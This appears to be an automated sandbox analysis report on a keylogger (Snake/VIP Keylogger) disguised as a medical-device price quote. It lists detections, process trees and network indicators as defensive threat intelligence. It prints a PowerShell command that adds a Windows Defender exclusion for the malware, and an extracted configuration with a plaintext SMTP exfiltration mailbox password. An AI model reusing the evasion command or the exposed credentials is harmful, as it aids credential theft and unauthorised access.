Edit tour

Windows Analysis Report
fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Overview

General Information

Sample name:	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe renamed because original name is a hash value
Original sample name:	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Siparii jpeg docx _ .exe
Analysis ID:	1569776
MD5:	bd1688f2a780e8ea5437f539f5ffc596
SHA1:	abf80f4d8ee0d4bc422b0b6d1f94b9ad72db1b7c
SHA256:	3acb8bf44a7ddcf515e9dc3dc823d9bef720e41a02c9adfd1879ce786bb8e049
Tags:	exeuser-lowmal3
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe (PID: 7360 cmdline: "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe" MD5: BD1688F2A780E8EA5437F539F5FFC596)

powershell.exe (PID: 7548 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe (PID: 7564 cmdline: "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe" MD5: BD1688F2A780E8EA5437F539F5FFC596)

fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe (PID: 7588 cmdline: "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe" MD5: BD1688F2A780E8EA5437F539F5FFC596)

fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe (PID: 7608 cmdline: "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe" MD5: BD1688F2A780E8EA5437F539F5FFC596)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "bilgi@adendanismanlik.com.tr", "Password": "Omer1402&", "Host": "mail.adendanismanlik.com.tr", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "bilgi@adendanismanlik.com.tr", "Password": "Omer1402&", "Host": "mail.adendanismanlik.com.tr", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d0d5:$a1: get_encryptedPassword 0x2d3ea:$a2: get_encryptedUsername 0x2cee5:$a3: get_timePasswordChanged 0x2cfee:$a4: get_passwordField 0x2d0eb:$a5: set_encryptedPassword 0x2e7b5:$a7: get_logins 0x2e718:$a10: KeyLoggerEventArgs 0x2e37d:$a11: KeyLoggerEventArgsEventHandler
00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d30d:$a1: get_encryptedPassword 0x6fd2d:$a1: get_encryptedPassword 0xb254d:$a1: get_encryptedPassword 0x2d622:$a2: get_encryptedUsername 0x70042:$a2: get_encryptedUsername 0xb2862:$a2: get_encryptedUsername 0x2d11d:$a3: get_timePasswordChanged 0x6fb3d:$a3: get_timePasswordChanged 0xb235d:$a3: get_timePasswordChanged 0x2d226:$a4: get_passwordField 0x6fc46:$a4: get_passwordField 0xb2466:$a4: get_passwordField 0x2d323:$a5: set_encryptedPassword 0x6fd43:$a5: set_encryptedPassword 0xb2563:$a5: set_encryptedPassword 0x2e9ed:$a7: get_logins 0x7140d:$a7: get_logins 0xb3c2d:$a7: get_logins 0x2e950:$a10: KeyLoggerEventArgs 0x71370:$a10: KeyLoggerEventArgs 0xb3b90:$a10: KeyLoggerEventArgs
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x69d3a:$a1: get_encryptedPassword 0x6a045:$a2: get_encryptedUsername 0x69b54:$a3: get_timePasswordChanged 0x69c5d:$a4: get_passwordField 0x69d50:$a5: set_encryptedPassword 0x6c1eb:$a7: get_logins 0x6c14e:$a10: KeyLoggerEventArgs 0x6bdb7:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20d7e:$a1: get_encryptedPassword 0x21089:$a2: get_encryptedUsername 0x20b98:$a3: get_timePasswordChanged 0x20ca1:$a4: get_passwordField 0x20d94:$a5: set_encryptedPassword 0x2322f:$a7: get_logins 0x23192:$a10: KeyLoggerEventArgs 0x22dfb:$a11: KeyLoggerEventArgsEventHandler
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d2d5:$a1: get_encryptedPassword 0x2d5ea:$a2: get_encryptedUsername 0x2d0e5:$a3: get_timePasswordChanged 0x2d1ee:$a4: get_passwordField 0x2d2eb:$a5: set_encryptedPassword 0x2e9b5:$a7: get_logins 0x2e918:$a10: KeyLoggerEventArgs 0x2e57d:$a11: KeyLoggerEventArgsEventHandler
7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b0b6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a759:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a9b6:$a4: \Orbitum\User Data\Default\Login Data 0x3b395:$a5: \Kometa\User Data\Default\Login Data
7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2def1:$s1: UnHook 0x2def8:$s2: SetHook 0x2df00:$s3: CallNextHook 0x2df0d:$s4: _hook
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b4d5:$a1: get_encryptedPassword 0x2b7ea:$a2: get_encryptedUsername 0x2b2e5:$a3: get_timePasswordChanged 0x2b3ee:$a4: get_passwordField 0x2b4eb:$a5: set_encryptedPassword 0x2cbb5:$a7: get_logins 0x2cb18:$a10: KeyLoggerEventArgs 0x2c77d:$a11: KeyLoggerEventArgsEventHandler
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x392b6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38959:$a3: \Google\Chrome\User Data\Default\Login Data 0x38bb6:$a4: \Orbitum\User Data\Default\Login Data 0x39595:$a5: \Kometa\User Data\Default\Login Data
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c0f1:$s1: UnHook 0x2c0f8:$s2: SetHook 0x2c100:$s3: CallNextHook 0x2c10d:$s4: _hook
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d2d5:$a1: get_encryptedPassword 0x6faf5:$a1: get_encryptedPassword 0x2d5ea:$a2: get_encryptedUsername 0x6fe0a:$a2: get_encryptedUsername 0x2d0e5:$a3: get_timePasswordChanged 0x6f905:$a3: get_timePasswordChanged 0x2d1ee:$a4: get_passwordField 0x6fa0e:$a4: get_passwordField 0x2d2eb:$a5: set_encryptedPassword 0x6fb0b:$a5: set_encryptedPassword 0x2e9b5:$a7: get_logins 0x711d5:$a7: get_logins 0x2e918:$a10: KeyLoggerEventArgs 0x71138:$a10: KeyLoggerEventArgs 0x2e57d:$a11: KeyLoggerEventArgsEventHandler 0x70d9d:$a11: KeyLoggerEventArgsEventHandler
0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2def1:$s1: UnHook 0x70711:$s1: UnHook 0x2def8:$s2: SetHook 0x70718:$s2: SetHook 0x2df00:$s3: CallNextHook 0x70720:$s3: CallNextHook 0x2df0d:$s4: _hook 0x7072d:$s4: _hook
Click to see the 14 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe", ParentImage: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, ParentProcessId: 7360, ParentProcessName: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe", ProcessId: 7548, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 77.245.159.14, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, Initiated: true, ProcessId: 7608, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49802

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe", ParentImage: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, ParentProcessId: 7360, ParentProcessName: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe", ProcessId: 7548, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T09:58:01.078229+0100	2803305	3	Unknown Traffic	192.168.2.7	49707	172.67.177.134	443	TCP
2024-12-06T09:58:07.197372+0100	2803305	3	Unknown Traffic	192.168.2.7	49727	172.67.177.134	443	TCP
2024-12-06T09:58:13.318951+0100	2803305	3	Unknown Traffic	192.168.2.7	49747	172.67.177.134	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T09:57:57.177110+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49702	193.122.6.168	80	TCP
2024-12-06T09:57:59.458397+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49702	193.122.6.168	80	TCP
2024-12-06T09:58:02.520889+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49714	193.122.6.168	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Avira: detected

Found malware configuration

Source: 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "bilgi@adendanismanlik.com.tr", "Password": "Omer1402&", "Host": "mail.adendanismanlik.com.tr", "Port": "587", "Version": "4.4"}
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "bilgi@adendanismanlik.com.tr", "Password": "Omer1402&", "Host": "mail.adendanismanlik.com.tr", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	ReversingLabs: Detection: 34%
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Virustotal: Detection: 34%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.7:49704 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49781 version: TLS 1.2

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 076D92A6h	0_2_076D8816
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 029AF475h	7_2_029AF2D8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 029AF475h	7_2_029AF4C4
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 029AF475h	7_2_029AF53D
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 029AFC31h	7_2_029AF988
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556E501h	7_2_0556E258
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556D7F9h	7_2_0556D550
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 05562C19h	7_2_05562968
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 055631E0h	7_2_0556310E
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 055631E0h	7_2_05562DC2
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 055631E0h	7_2_05562DC8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556DC51h	7_2_0556D9A8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_05560040
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556FAB9h	7_2_0556F810
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556D3A1h	7_2_0556D0F8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556CF49h	7_2_0556CCA0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556F209h	7_2_0556EF60
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556EDB1h	7_2_0556EB08
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 05560D0Dh	7_2_05560B30
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 05561697h	7_2_05560B30
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556F661h	7_2_0556F3B8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556E0A9h	7_2_0556DE00
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 4x nop then jmp 0556E959h	7_2_0556E6B0

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.7:49802 -> 77.245.159.14:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
